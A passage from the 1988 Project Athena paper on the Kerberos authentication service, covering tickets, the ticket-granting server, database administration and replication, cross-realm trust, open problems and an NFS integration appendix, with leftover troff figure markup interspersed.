can do nothing, relying on the machine to which the user is logged in to prevent unauthor- ized access; one can require the host to prove its identity, but trust the host's word as to who the user is; or one can require the user to prove her/his identity for each required service. In a closed environment where all the machines are under strict control, one can use the first approach. When the organization controls all the hosts communicating over the network, this is a reasonable approach. In a more open environment, one might selectively trust only those hosts under organizational control. In this case, each host must be required to prove its identity. The rlogin and rsh programs use this approach. In those proto- cols, authentication is done by checking the Internet address from which a connection has been established. In the Athena environment, we must be able to honor requests from hosts that are not under organizational con- trol. Users have complete control of their workstations: they can reboot them, bring them up standalone, or even boot off their own tapes. As such, the third approach must be taken; the user must prove her/his identity for each desired service. The server must also prove its identity. It is not sufficient to physically secure the host running a net- work server; someone elsewhere on the network may be masquerading as the given server. Our environment places several requirements on an iden- tification mechanism. First, it must be secure. Circum- venting it must be difficult enough that a potential attacker does not find the authentication mechanism to be the weak link. Someone watching the network should not be able to obtain the information necessary to impersonate another user. Second, it must be reliable. Access to many services will depend on the authentication service. If it is not reliable, the system of services as a whole will not be. Third, it should be transparent. Ideally, the user should not be aware of authentication taking place. Finally, it should be scalable. Many systems can communi- cate with Athena hosts. Not all of these will support our mechanism, but software should not break if they did. Kerberos is the result of our work to satisfy the above requirements. When a user walks up to a workstation s/he ``logs in''. As far as the user can tell, this initial identification is sufficient to prove her/his identity to all the required network servers for the duration of the March 30, 1988 - 5 - login session. The security of Kerberos relies on the secu- rity of several authentication servers, but not on the sys- tem from which users log in, nor on the security of the end servers that will be used. The authentication server pro- vides a properly authenticated user with a way to prove her/his identity to servers scattered across the network. Authentication is a fundamental building block for a secure networked environment. If, for example, a server knows for certain the identity of a client, it can decide whether to provide the service, whether the user should be given special privileges, who should receive the bill for the service, and so forth. In other words, authorization and accounting schemes can be built on top of the authenti- cation that Kerberos provides, resulting in equivalent secu- rity to the lone personal computer or the timesharing sys- tem. 2. What is Kerberos? Kerberos is a trusted third-party authentication ser- vice based on the model presented by Needham and Schroeder.[3] It is trusted in the sense that each of its clients believes Kerberos' judgement as to the identity of each of its other clients to be accurate. Timestamps (large numbers representing the current date and time) have been added to the original model to aid in the detection of replay. Replay occurs when a message is stolen off the net- work and resent later. For a more complete description of replay, and other issues of authentication, see Voydock and Kent.[4] 2.1. What Does It Do? Kerberos keeps a database of its clients and their private keys. The private key is a large number known only to Kerberos and the client it belongs to. In the case that the client is a user, it is an encrypted password. Network services requiring authentication register with Kerberos, as do clients wishing to use those services. The private keys are negotiated at registration. Because Kerberos knows these private keys, it can create messages which convince one client that another is really who it claims to be. Kerberos also generates tem- porary private keys, called session keys, which are given to two clients and no one else. A session key can be used to encrypt messages between two parties. Kerberos provides three distinct levels of protection. The application programmer determines which is appropriate, according to the requirements of the application. For exam- ple, some applications require only that authenticity be established at the initiation of a network connection, and March 30, 1988 - 6 - can assume that further messages from a given network address originate from the authenticated party. Our authen- ticated network file system uses this level of security. Other applications require authentication of each mes- sage, but do not care whether the content of the message is disclosed or not. For these, Kerberos provides safe mes- sages. Yet a higher level of security is provided by private messages, where each message is not only authenti- cated, but also encrypted. Private messages are used, for example, by the Kerberos server itself for sending passwords over the network. 2.2. Software Components The Athena implementation comprises several modules (see Figure 1). The Kerberos applications library provides an interface for application clients and application servers. It contains, among others, routines for creating or reading authentication requests, and the routines for creating safe or private messages. o Kerberos applications library o encryption library o database library o database administration programs o administration server o authentication server o db propagation software o user programs o applications Figure 1. Kerberos Software Components. Encryption in Kerberos is based on DES, the Data Encryption Standard.[5] The encryption library implements those routines. Several methods of encryption are provided, with tradeoffs between speed and security. An extension to the DES Cypher Block Chaining (CBC) mode, called the Pro- pagating CBC mode, is also provided. In CBC, an error is propagated only through the current block of the cipher, whereas in PCBC, the error is propagated throughout the mes- sage. This renders the entire message useless if an error occurs, rather than just a portion of it. The encryption library is an independent module, and may be replaced with other DES implementations or a different encryption library. Another replaceable module is the database management system. The current Athena implementation of the database library uses ndbm, although Ingres was originally used. Other database management libraries could be used as well. March 30, 1988 - 7 - The Kerberos database needs are straightforward; a record is held for each principal, containing the name, private key, and expiration date of the principal, along with some administrative information. (The expiration date is the date after which an entry is no longer valid. It is usually set to a few years into the future at registration.) Other user information, such as real name, phone number, and so forth, is kept by another server, the Hesiod nameserver.[6] This way, sensitive information, namely pass- words, can be handled by Kerberos, using fairly high secu- rity measures; while the non-sensitive information kept by Hesiod is dealt with differently; it can, for example, be sent unencrypted over the network. The Kerberos servers use the database library, as do the tools for administering the database. The administration server (or KDBM server) provides a read-write network interface to the database. The client side of the program may be run on any machine on the net- work. The server side, however, must run on the machine housing the Kerberos database in order to make changes to the database. The authentication server (or Kerberos server), on the other hand, performs read-only operations on the Kerberos database, namely, the authentication of principals, and gen- eration of session keys. Since this server does not modify the Kerberos database, it may run on a machine housing a read-only copy of the master Kerberos database. Database propagation software manages replication of the Kerberos database. It is possible to have copies of the database on several different machines, with a copy of the authentication server running on each machine. Each of these slave machines receives an update of the Kerberos database from the master machine at given intervals. Finally, there are end-user programs for logging in to Kerberos, changing a Kerberos password, and displaying or destroying Kerberos tickets (tickets are explained later on). 3. Kerberos Names Part of authenticating an entity is naming it. The process of authentication is the verification that the client is the one named in a request. What does a name con- sist of? In Kerberos, both users and servers are named. As far as the authentication server is concerned, they are equivalent. A name consists of a primary name, an instance, and a realm, expressed as name.instance@realm (see Figure 2). March 30, 1988 - 8 - bcn treese.root jis@LCS.MIT.EDU rlogin.priam@ATHENA.MIT.EDU Figure 2. Kerberos Names. The primary name is the name of the user or the ser- vice. The instance is used to distinguish among variations on the primary name. For users, an instance may entail spe- cial privileges, such as the ``root'' or ``admin'' instances. For services in the Athena environment, the instance is usually the name of the machine on which the server runs. For example, the rlogin service has different instances on different hosts: rlogin.priam is the rlogin server on the host named priam. A Kerberos ticket is only good for a single named server. As such, a separate ticket is required to gain access to different instances of the same service. The realm is the name of an administrative entity that maintains authentication data. For example, different institutions may each have their own Kerberos machine, housing a different database. They have different Kerberos realms. (Realms are discussed further in section 8.2.) 4. How It Works This section describes the Kerberos authentication pro- tocols. The following abbreviations are used in the fig- ures. c -> client s -> server addr -> client's network address life -> lifetime of ticket tgs, TGS -> ticket-granting server Kerberos -> authentication server KDBM -> administration server Kx -> x's private key Kx,y -> session key for x and y {abc}Kx -> abc encrypted in x's key Tx,y -> x's ticket to use y Ax -> authenticator for x WS -> workstation As mentioned above, the Kerberos authentication model is based on the Needham and Schroeder key distribution proto- col. When a user requests a service, her/his identity must March 30, 1988 - 9 - be established. To do this, a ticket is presented to the server, along with proof that the ticket was originally issued to the user, not stolen. There are three phases to authentication through Kerberos. In the first phase, the user obtains credentials to be used to request access to other services. In the second phase, the user requests authentication for a specific service. In the final phase, the user presents those credentials to the end server. 4.1. Credentials There are two types of credentials used in the Kerberos authentication model: tickets and authenticators. Both are based on private key encryption, but they are encrypted using different keys. A ticket is used to securely pass the identity of the person to whom the ticket was issued between the authentication server and the end server. A ticket also passes information that can be used to make sure that the person using the ticket is the same person to which it was issued. The authenticator contains the additional informa- tion which, when compared against that in the ticket proves that the client presenting the ticket is the same one to which the ticket was issued. A ticket is good for a single server and a single client. It contains the name of the server, the name of the client, the Internet address of the client, a timestamp, a lifetime, and a random session key. This information is encrypted using the key of the server for which the ticket will be used. Once the ticket has been issued, it may be used multiple times by the named client to gain access to the named server, until the ticket expires. Note that because the ticket is encrypted in the key of the server, it is safe to allow the user to pass the ticket on to the server without having to worry about the user modifying the ticket (see Figure 3). {s, c, addr, timestamp, life, Ks,c}Ks Figure 3. A Kerberos Ticket. Unlike the ticket, the authenticator can only be used once. A new one must be generated each time a client wants to use a service. This does not present a problem because the client is able to build the authenticator itself. An authenticator contains the name of the client, the workstation's IP address, and the current workstation time. The authenticator is encrypted in the session key that is part of the ticket (see Figure 4). March 30, 1988 - 10 - {c, addr, timestamp}Ks,c Figure 4. A Kerberos Authenticator. 4.2. Getting the Initial Ticket When the user walks up to a workstation, only one piece of information can prove her/his identity: the user's pass- word. The initial exchange with the authentication server is designed to minimize the chance that the password will be compromised, while at the same time not allowing a user to properly authenticate her/himself without knowledge of that password. The process of logging in appears to the user to be the same as logging in to a timesharing system. Behind the scenes, though, it is quite different (see Figure 5). linewid = 1.5i ellipsewid = .7i ellipse "Client" arrow "c, tgs" "" ellipse "Kerberos" linewid = 1.5i ellipsewid = .7i ellipse "Client" line <- "" "{Kc,tgs,{Tc,tgs} Ktgs}Kc" ellipse "Kerberos" Figure 5. Getting the Initial Ticket. The user is prompted for her/his username. Once it has been entered, a request is sent to the authentication server containing the user's name and the name of a special service known as the ticket-granting service. The authentication server checks that it knows about the client. If so, it generates a random session key which will later be used between the client and the ticket- granting server. It then creates a ticket for the ticket- granting server which contains the client's name, the name of the ticket-granting server, the current time, a lifetime for the ticket, the client's IP address, and the random ses- sion key just created. This is all encrypted in a key known only to the ticket-granting server and the authentication server. The authentication server then sends the ticket, along with a copy of the random session key and some additional information, back to the client. This response is encrypted in the client's private key, known only to Kerberos and the client, which is derived from the user's password. March 30, 1988 - 11 - Once the response has been received by the client, the user is asked for her/his password. The password is con- verted to a DES key and used to decrypt the response from the authentication server. The ticket and the session key, along with some of the other information, are stored for future use, and the user's password and DES key are erased from memory. Once the exchange has been completed, the workstation possesses information that it can use to prove the identity of its user for the lifetime of the ticket-granting ticket. As long as the software on the workstation had not been pre- viously tampered with, no information exists that will allow someone else to impersonate the user beyond the life of the ticket. 4.3. Requesting a Service For the moment, let us pretend that the user already has a ticket for the desired server. In order to gain access to the server, the application builds an authentica- tor containing the client's name and IP address, and the current time. The authenticator is then encrypted in the session key that was received with the ticket for the server. The client then sends the authenticator along with the ticket to the server in a manner defined by the indivi- dual application. Once the authenticator and ticket have been received by the server, the server decrypts the ticket, uses the session key included in the ticket to decrypt the authenticator, compares the information in the ticket with that in the authenticator, the IP address from which the request was received, and the present time. If everything matches, it allows the request to proceed (see Figure 6). linewid = 1.5i ellipsewid = .7i ellipse "Client" arrow "{Ac}Kc,s, {Tc,s}Ks" "" ellipse "Server" Figure 6. Requesting a Service. It is assumed that clocks are synchronized to within several minutes. If the time in the request is too far in the future or the past, the server treats the request as an attempt to replay a previous request. The server is also allowed to keep track of all past requests with timestamps that are still valid. In order to further foil replay attacks, a request received with the same ticket and time- stamp as one already received can be discarded. Finally, if the client specifies that it wants the March 30, 1988 - 12 - server to prove its identity too, the server adds one to the timestamp the client sent in the authenticator, encrypts the result in the session key, and sends the result back to the client (see Figure 7). linewid = 1.5i ellipsewid = .7i ellipse "Client" line <- "" "{timestamp + 1} Kc,s" ellipse "Server" Figure 7. Mutual Authentication. At the end of this exchange, the server is certain that, according to Kerberos, the client is who it says it is. If mutual authentication occurs, the client is also convinced that the server is authentic. Moreover, the client and server share a key which no one else knows, and can safely assume that a reasonably recent message encrypted in that key originated with the other party. 4.4. Getting Server Tickets Recall that a ticket is only good for a single server. As such, it is necessary to obtain a separate ticket for each service the client wants to use. Tickets for indivi- dual servers can be obtained from the ticket-granting ser- vice. Since the ticket-granting service is itself a ser- vice, it makes use of the service access protocol described in the previous section. When a program requires a ticket that has not already been requested, it sends a request to the ticket-granting server (see Figure 8). The request contains the name of the server for which a ticket is requested, along with the ticket-granting ticket and an authenticator built as described in the previous section. linewid = 1.7i ellipsewid = .7i ellipse "Client" arrow "s,{Tc,tgs}Ktgs,{Ac}Kc,tgs" "" ellipse "TGS" linewid = 1.7i ellipsewid = .7i ellipse "Client" line <- "" "{{Tc,s}Ks,Kc,s}Kc,tgs" ellipse "TGS" Figure 8. Getting a Server Ticket. The ticket-granting server then checks the authentica- tor and ticket-granting ticket as described above. If March 30, 1988 - 13 - valid, the ticket-granting server generates a new random session key to be used between the client and the new server. It then builds a ticket for the new server contain- ing the client's name, the server name, the current time, the client's IP address and the new session key it just gen- erated. The lifetime of the new ticket is the minimum of the remaining life for the ticket-granting ticket and the default for the service. The ticket-granting server then sends the ticket, along with the session key and other information, back to the client. This time, however, the reply is encrypted in the session key that was part of the ticket-granting ticket. This way, there is no need for the user to enter her/his password again. Figure 9 summarizes the authentication pro- tocols. circlerad = .32i Kerbie: circle at -1,1 "Kerberos" Client: circle at 0,0 "User/" "Client" TGS: circle at 1,1 "TGS" Server: circle at 1.75,0 "Server" arrow from Client.w to Kerbie.s "1 " below arrow from Kerbie.e to Client.n " 2" above arrow from Client.n to TGS.w "3" above arrow from TGS.s to Client.e "4" above arrow from Client.e to Server.w "5" above 1. Request for TGS ticket 2. Ticket for TGS 3. Request for Server ticket 4. Ticket for Server 5. Request for service Figure 9. Kerberos Authentication Protocols. 5. The Kerberos Database Up to this point, we have discussed operations requir- ing read-only access to the Kerberos database. These opera- tions are performed by the authentication service, which can run on both master and slave machines (see Figure 10). March 30, 1988 - 14 - boxwid = .5i WS1: box move right WS2: box move right WS3: box move right Box1: box invis with .n at WS1.s-(0,.5i) Slave: box move right Master: box Titles: "WS" at WS1.n above "WS" at WS2.n above "WS" at WS3.n above "Slave" at Slave.s below "Master" at Master.s below Arrows: arrow from WS1.s to Slave.n arrow from WS2.s to Slave.n arrow from WS3.s to Slave.n arrow from WS1.s to Master.n arrow from WS2.s to Master.n arrow from WS3.s to Master.n Figure 10. Authentication Requests. In this section, we discuss operations that require write access to the database. These operations are per- formed by the administration service, called the Kerberos Database Management Service (KDBM). The current implementa- tion stipulates that changes may only be made to the master Kerberos database; slave copies are read-only. Therefore, the KDBM server may only run on the master Kerberos machine (see Figure 11). March 30, 1988 - 15 - boxwid = .5i WS1: box move right WS2: box move right WS3: box move right Box1: box invis with .n at WS1.s-(0,.5i) Slave: box dashed move right Master: box Titles: "WS" at WS1.n above "WS" at WS2.n above "WS" at WS3.n above "Slave" at Slave.s below "Master" at Master.s below Arrows: arrow from WS1.s to Master.n arrow from WS2.s to Master.n arrow from WS3.s to Master.n Figure 11. Administration Requests. Note that, while authentication can still occur (on slaves), administration requests cannot be serviced if the master machine is down. In our experience, this has not presented a problem, as administration requests are infrequent. The KDBM handles requests from users to change their passwords. The client side of this program, which sends requests to the KDBM over the network, is the kpasswd pro- gram. The KDBM also accepts requests from Kerberos adminis- trators, who may add principals to the database, as well as change passwords for existing principals. The client side of the administration program, which also sends requests to the KDBM over the network, is the kadmin program. 5.1. The KDBM Server The KDBM server accepts requests to add principals to the database or change the passwords for existing princi- pals. This service is unique in that the ticket-granting service will not issue tickets for it. Instead, the authen- tication service itself must be used (the same service that March 30, 1988 - 16 - is used to get a ticket-granting ticket). The purpose of this is to require the user to enter a password. If this were not so, then if a user left her/his workstation unat- tended, a passerby could walk up and change her/his password for them, something which should be prevented. Likewise, if an administrator left her/his workstation unguarded, a passerby could change any password in the system. When the KDBM server receives a request, it authorizes it by comparing the authenticated principal name of the requester of the change to the principal name of the target of the request. If they are the same, the request is per- mitted. If they are not the same, the KDBM server consults an access control list (stored in a file on the master Ker- beros system). If the requester's principal name is found in this file, the request is permitted, otherwise it is denied. By convention, names with a NULL instance (the default instance) do not appear in the access control list file; instead, an admin instance is used. Therefore, for a user to become an administrator of Kerberos an admin instance for that username must be created, and added to the access con- trol list. This convention allows an administrator to use a different password for Kerberos administration then s/he would use for normal login. All requests to the KDBM program, whether permitted or denied, are logged. 5.2. The kadmin and kpasswd Programs Administrators of Kerberos use the kadmin program to add principals to the database, or change the passwords of existing principals. An administrator is required to enter the password for their admin instance name when they invoke the kadmin program. This password is used to fetch a ticket for the KDBM server (see Figure 12). Kerbie: circle at -1,1 "Kerberos" Client: circle at 0,0 "User/" "Admin" KDBM: circle at 1,1 "KDBM" arrow from Client.w to Kerbie.s "1 " below arrow from Kerbie.e to Client.n " 2" above arrow from Client.ne to KDBM.sw "3" above 1. Request for KDBM ticket 2. Ticket for KDBM 3. kadmin or kpasswd request Figure 12. Kerberos Administration Protocol. March 30, 1988 - 17 - Users may change their Kerberos passwords using the kpasswd program. They are required to enter their old pass- word when they invoke the program. This password is used to fetch a ticket for the KDBM server. 5.3. Database Replication Each Kerberos realm has a master Kerberos machine, which houses the master copy of the authentication database. It is possible (although not necessary) to have additional, read-only copies of the database on slave machines elsewhere in the system. The advantages of having multiple copies of the database are those usually cited for replication: higher availability and better performance. If the master machine is down, authentication can still be achieved on one of the slave machines. The ability to perform authentica- tion on any one of several machines reduces the probability of a bottleneck at the master machine. Keeping multiple copies of the database introduces the problem of data consistency. We have found that very simple methods suffice for dealing with inconsistency. The master database is dumped every hour. The database is sent, in its entirety, to the slave machines, which then update their own databases. A program on the master host, called kprop, sends the update to a peer program, called kpropd, running on each of the slave machines (see Figure 13). First kprop sends a checksum of the new database it is about to send. The checksum is encrypted in the Kerberos master database key, which both the master and slave Kerberos machines pos- sess. The data is then transferred over the network to the kpropd on the slave machine. The slave propagation server calculates a checksum of the data it has received, and if it matches the checksum sent by the master, the new information is used to update the slave's database. March 30, 1988 - 18 - boxwid = .75i Box1: box invis move right Master: box "" "kprop" move right Box3: box invis Slave1: box "kpropd" "" with .nw at Box1.sw-(0,.5i) move right Slave2: box "kpropd" "" move right Slave3: box "kpropd" "" Titles: "Master" at Master.n above "Slave" at Slave1.s below "Slave" at Slave2.s below "Slave" at Slave3.s below Arrows: arrow from Master.s to Slave1.n arrow from Master.s to Slave2.n arrow from Master.s to Slave3.n Figure 13. Database Propagation. All passwords in the Kerberos database are encrypted in the master database key Therefore, the information passed from master to slave over the network is not useful to an eavesdropper. However, it is essential that only informa- tion from the master host be accepted by the slaves, and that tampering of data be detected, thus the checksum. 6. Kerberos From the Outside Looking In The section will describe Kerberos from the practical point of view, first as seen by the user, then from the application programmer's viewpoint, and finally, through the tasks of the Kerberos administrator. 6.1. User's Eye View If all goes well, the user will hardly notice that Ker- beros is present. In our UNIX implementation, the ticket- granting ticket is obtained from Kerberos as part of the login process. The changing of a user's Kerberos password is part of the passwd program. And Kerberos tickets are March 30, 1988 - 19 - automatically destroyed when a user logs out. If the user's login session lasts longer than the life- time of the ticket-granting ticket (currently 8 hours), the user will notice Kerberos' presence because the next time a Kerberos-authenticated application is executed, it will fail. The Kerberos ticket for it will have expired. At that point, the user can run the kinit program to obtain a new ticket for the ticket-granting server. As when logging in, a password must be provided in order to get it. A user executing the klist command out of curiosity may be surprised at all the tickets which have silently been obtained on her/his behalf for services which require Ker- beros authentication. 6.2. From the Programmer's Viewpoint A programmer writing a Kerberos application will often be adding authentication to an already existing network application consisting of a client and server side. We call this process ``Kerberizing'' a program. Kerberizing usually involves making a call to the Kerberos library in order to perform authentication at the initial request for service. It may also involve calls to the DES library to encrypt mes- sages and data which are subsequently sent between applica- tion client and application server. The most commonly used library functions are krb_mk_req on the client side, and krb_rd_req on the server side. The krb_mk_req routine takes as parameters the name, instance, and realm of the target server, which will be requested, and possibly a checksum of the data to be sent. The client then sends the message returned by the krb_mk_req call over the network to the server side of the application. When the server receives this message, it makes a call to the library routine krb_rd_req. The routine returns a judgement about the authenticity of the sender's alleged identity. If the application requires that messages sent between client and server be secret, then library calls can be made to krb_mk_priv (krb_rd_priv) to encrypt (decrypt) messages in the session key which both sides now share.[7] 6.3. The Kerberos Administrator's Job The Kerberos administrator's job begins with running a program to initialize the database. Another program must be run to register essential principals in the database, such as the Kerberos administrator's name with an admin instance. The Kerberos authentication server and the administration server must be started up. If there are slave databases, the administrator must arrange that the programs to pro- pagate database updates from master to slaves be kicked off periodically. March 30, 1988 - 20 - After these initial steps have been taken, the adminis- trator manipulates the database over the network, using the kadmin program. Through that program, new principals can be added, and passwords can be changed. In particular, when a new Kerberos application is added to the system, the Kerberos administrator must take a few steps to get it working. The server must be registered in the database, and assigned a private key (usually this is an automatically generated random key). Then, some data (including the server's key) must be extracted from the database and installed in a file on the server's machine. The default file is /etc/srvtab. The krb_rd_req library routine called by the server (see the previous section) uses the information in that file to decrypt messages sent encrypted in the server's private key. The /etc/srvtab file authenticates the server as a password typed at a terminal authenticates the user. The Kerberos administrator must also ensure that Ker- beros machines are physically secure, and would also be wise to maintain backups of the Master database.[8] 7. The Bigger Picture In this section, we describe how Kerberos fits into the Athena environment, including its use by other network ser- vices and applications, and how it interacts with remote Kerberos realms. For a more complete description of the Athena environment, please see G. W. Treese.[9] 7.1. Other Network Services' Use of Kerberos Several network applications have been modified to use Kerberos. The rlogin and rsh commands first try to authen- ticate using Kerberos. A user with valid Kerberos tickets can rlogin to another Athena machine without having to set up .rhosts files. If the Kerberos authentication fails, the programs fall back on their usual methods of authorization, in this case, the .rhosts files. We have modified the Post Office Protocol to use Ker- beros for authenticating users who wish to retrieve their electronic mail from the ``post office''. A message delivery program, called Zephyr, has been recently developed at Athena, and it uses Kerberos for authentication as well.[10] The program for signing up new users, called register, uses both the Service Management System (SMS)[11] and Ker- beros. From SMS, it determines whether the information entered by the would-be new Athena user, such as name and MIT identification number, is valid. It then checks with Kerberos to see if the requested username is unique. If all March 30, 1988 - 21 - goes well, a new entry is made to the Kerberos database, containing the username and password. For a detailed discussion of the use of Kerberos to secure Sun's Network File System, please refer to the appen- dix. 7.2. Interaction with Other Kerberi It is expected that different administrative organiza- tions will want to use Kerberos for user authentication. It is also expected that in many cases, users in one organiza- tion will want to use services in another. Kerberos sup- ports multiple administrative domains. The specification of names in Kerberos includes a field called the realm. This field contains the name of the administrative domain within which the user is to be authenticated. Services are usually registered in a single realm and will only accept credentials issued by an authentication server for that realm. A user is usually registered in a single realm (the local realm), but it is possible for her/him to obtain credentials issued by another realm (the remote realm), on the strength of the authentication pro- vided by the local realm. Credentials valid in a remote realm indicate the realm in which the user was originally authenticated. Services in the remote realm can choose whether to honor those credentials, depending on the degree of security required and the level of trust in the realm that initially authenticated the user. In order to perform cross-realm authentication, it is necessary that the administrators of each pair of realms select a key to be shared between their realms. A user in the local realm can then request a ticket-granting ticket from the local authentication server for the ticket-granting server in the remote realm. When that ticket is used, the remote ticket-granting server recognizes that the request is not from its own realm, and it uses the previously exchanged key to decrypt the ticket-granting ticket. It then issues a ticket as it normally would, except that the realm field for the client contains the name of the realm in which the client was originally authenticated. This approach could be extended to allow one to authen- ticate oneself through a series of realms until reaching the realm with the desired service. In order to do this, though, it would be necessary to record the entire path that was taken, and not just the name of the initial realm in which the user was authenticated. In such a situation, all that is known by the server is that A says that B says that C says that the user is so-and-so. This statement can only be trusted if everyone along the path is also trusted. March 30, 1988 - 22 - 8. Issues and Open Problems There are a number of issues and open problems associ- ated with the Kerberos authentication mechanism. Among the issues are how to decide the correct lifetime for a ticket, how to allow proxies, and how to guarantee workstation integrity. The ticket lifetime problem is a matter of choosing the proper tradeoff between security and convenience. If the life of a ticket is long, then if a ticket and its associ- ated session key are stolen or misplaced, they can be used for a longer period of time. Such information can be stolen if a user forgets to log out of a public workstation. Alternatively, if a user has been authenticated on a system that allows multiple users, another user with access to root might be able to find the information needed to use stolen tickets. The problem with giving a ticket a short lifetime, however, is that when it expires, the user will have to obtain a new one which requires the user to enter the pass- word again. An open problem is the proxy problem. How can an authenticated user allow a server to acquire other network services on her/his behalf? An example where this would be important is the use of a service that will gain access to protected files directly from a fileserver. Another example of this problem is what we call authentication forwarding. If a user is logged into a workstation and logs in to a remote host, it would be nice if the user had access to the same services available locally, while running a program on the remote host. What makes this difficult is that the user might not trust the remote host, thus authentication for- warding is not desirable in all cases. We do not presently have a solution to this problem. Another problem, and one that is important in the Athena environment, is how to guarantee the integrity of the software running on a workstation. This is not so much of a problem on private workstations since the user that will be using it has control over it. On public workstations, how- ever, someone might have come along and modified the login program to save the user's password. The only solution presently available in our environment is to make it diffi- cult for people to modify software running on the public workstations. A better solution would require that the user's key never leave a system that the user knows can be trusted. One way this could be done would be if the user possessed a smartcard capable of doing the encryptions required in the authentication protocol. March 30, 1988 - 23 - 9. Status A prototype version of Kerberos went into production in September of 1986. Since January of 1987, Kerberos has been Project Athena's sole means of authenticating its 5,000 users, 650 workstations, and 65 servers. In addition, Ker- beros is now being used in place of .rhosts files for con- trolling access in several of Athena's timesharing systems. 10. Acknowledgements Kerberos was initially designed by Steve Miller and Clifford Neuman with suggestions from Jeff Schiller and Jerry Saltzer. Since that time, numerous other people have been involved with the project. Among them are Jim Aspnes, Bob Baldwin, John Barba, Richard Basch, Jim Bloom, Bill Bryant, Mark Colan, Rob French, Dan Geer, John Kohl, John Kubiatowicz, Bob Mckie, Brian Murphy, John Ostlund Ken Rae- burn, Chris Reed, Jon Rochlis, Mike Shanzer, Bill Sommer- feld, Ted T'so, Win Treese, and Stan Zanarotti. We are grateful to Dan Geer, Kathy Lieben, Josh Lubarr, Ken Raeburn, Jerry Saltzer, Ed Steiner, Robbert van Renesse, and Win Treese whose suggestions much improved earlier drafts of this paper. The illustration on the title page is by Betsy Bruem- mer. March 30, 1988 - 24 - Appendix Kerberos Application to SUN's Network File System (NFS) A key component of the Project Athena workstation sys- tem is the interposing of the network between the user's workstation and her/his private file storage (home direc- tory). All private storage resides on a set of computers (currently VAX 11/750s) that are dedicated to this purpose. This allows us to offer services on publicly available UNIX workstations. When a user logs in to one of these publicly available workstations, rather then validate her/his name and password against a locally resident password file, we use Kerberos to determine her/his authenticity. The login program prompts for a username (as on any UNIX system). This username is used to fetch a Kerberos ticket-granting ticket. The login program uses the password to generate a DES key for decrypting the ticket. If decryption is suc- cessful, the user's home directory is located by consulting the Hesiod naming service and mounted through NFS. The login program then turns control over to the user's shell, which then can run the traditional per-user customization files because the home directory is now ``attached'' to the workstation. The Hesiod service is also used to construct an entry in the local password file. (This is for the bene- fit of programs that look up information in /etc/passwd.) From several options for delivery of remote file ser- vice, we chose SUN's Network File System. However this sys- tem fails to mesh with our needs in a crucial way. NFS assumes that all workstations fall into two categories (as viewed from a file server's point of view): trusted and untrusted. Untrusted systems cannot access any files at all, trusted can. Trusted systems are completely trusted. It is assumed that a trusted system is managed by friendly management. Specifically, it is possible from a trusted workstation to masquerade as any valid user of the file ser- vice system and thus gain access to just about every file on the system. (Only files owned by ``root'' are exempted.) In our environment, the management of a workstation (in the traditional sense of UNIX system management) is in the hands of the user currently using it. We make no secret of the root password on our workstations, as we realize that a truly unfriendly user can break in by the very fact that s/he is sitting in the same physical location as the machine and has access to all console functions. Therefore we can- not truly trust our workstations in the NFS interpretation of trust. To allow proper access controls in our environ- ment we had to make some modifications to the base NFS March 30, 1988 software, and integrate Kerberos into the scheme. - 25 - Unmodified NFS In the implementation of NFS that we started with (from the University of Wisconsin), authentication was provided in the form of a piece of data included in each NFS request (called a ``credential'' in NFS terminology). This creden- tial contains information about the unique user identifier (UID) of the requester and a list of the group identifiers (GIDs) of the requester's membership. This information is then used by the NFS server for access checking. The difference between a trusted and a non-trusted workstation is whether or not its credentials are accepted by the NFS server.[12] Modified NFS In our environment, NFS servers must accept credentials from a workstation if and only if the credentials indicate the UID of the workstation's user, and no other. One obvious solution would be to change the nature of credentials from mere indicators of UID and GIDs to full blown Kerberos authenticated data. However a significant performance penalty would be paid if this solution were adopted. Credentials are exchanged on every NFS operation including all disk read and write activities. Including a Kerberos authentication on each disk transaction would add a fair number of full-blown encryptions (done in software) per transaction and, according to our envelope calculations, would have delivered unacceptable performance. (It would also have required placing the Kerberos library routines in the kernel address space.) We needed a hybrid approach, described below. The basic idea is to have the NFS server map credentials received from client workstations, to a valid (and possibly different) credential on the server system. This mapping is performed in the server's kernel on each NFS transaction and is setup at ``mount'' time by a user-level process that engages in Kerberos- moderated authentication prior to establishing a valid kernel credential mapping. To implement this we added a new system call to the kernel (required only on server systems, not on client sys- tems) that provides for the control of the mapping function that maps incoming credentials from client workstations to credentials valid for use on the server (if any). The basic mapping function maps the tuple: to a valid NFS credential on the server system. The CLIENT-IP-ADDRESS is extracted from the NFS request packet and the UID-ON-CLIENT is extracted from the credential March 30, 1988 supplied by the client system. Note: all information in the client-generated credential except the UID-ON-CLIENT is dis- carded. - 26 - If no mapping exists, the server reacts in one of two ways, depending it is configured. In our friendly confi- guration we default the unmappable requests into the creden- tials for the user ``nobody'' who has no privileged access and has a unique UID. Unfriendly servers return an NFS access error when no valid mapping can be found for an incoming NFS credential. Our new system call is used to add and delete entries from the kernel resident map. It also provides the ability to flush all entries that map to a specific UID on the server system, or flush all entries from a given CLIENT-IP-ADDRESS. We modified the mount daemon (which handles NFS mount requests on server systems) to accept a new transaction type, the Kerberos authentication mapping request. Basi- cally, as part of the mounting process, the client system provides a Kerberos authenticator along with an indication of her/his UID-ON-CLIENT (encrypted in the Kerberos authen- ticator) on the workstation. The server's mount daemon con- verts the Kerberos principal name into a local username. This username is then looked up in a special file to yield the user's UID and GIDs list. For efficiency, this file is a ndbm database file with the username as the key. From this information, an NFS credential is constructed and handed to the kernel as the valid mapping of the tuple for this request. At unmount time a request is sent to the mount daemon to remove the previously added mapping from the kernel. It is also possible to send a request at logout time to invali- date all mapping for the current user on the server in ques- tion, thus cleaning up any remaining mappings that exist (though they shouldn't) before the workstation is made available for the next user. Security Implications of the Modified NFS This implementation is not completely secure. For starters, user data is still sent across the network in an unencrypted, and therefore interceptable, form. The low- level, per-transaction authentication is based on a pair provided unencrypted in the request packet. This information could be forged and thus security compromised. However, it should be noted that only while a user is actively using her/his files (i.e., while logged in) are valid mappings in place and therefore this form of attack is limited to when the user in question is logged in. When a user is not logged in, no amount of IP address forgery will permit unauthorized access to her/his files. March 30, 1988 References - 27 - 1. S. P. Miller, B. C. Neuman, J. I. Schiller, and J. H. Saltzer, Section E.2.1: Kerberos Authentication and Authorization System, M.I.T. Project Athena, Cambridge, Massachusetts (December 21, 1987). 2. E. Balkovich, S. R. Lerman, and R. P. Parmelee, "Com- puting in Higher Education: The Athena Experience," Communications of the ACM, Vol. 28(11), pp. 1214-1224, ACM (November, 1985). 3. R. M. Needham and M. D. Schroeder, "Using Encryption for Authentication in Large Networks of Computers," Communications of the ACM, Vol. 21(12), pp. 993-999 (December, 1978). 4. V. L. Voydock and S. T. Kent, "Security 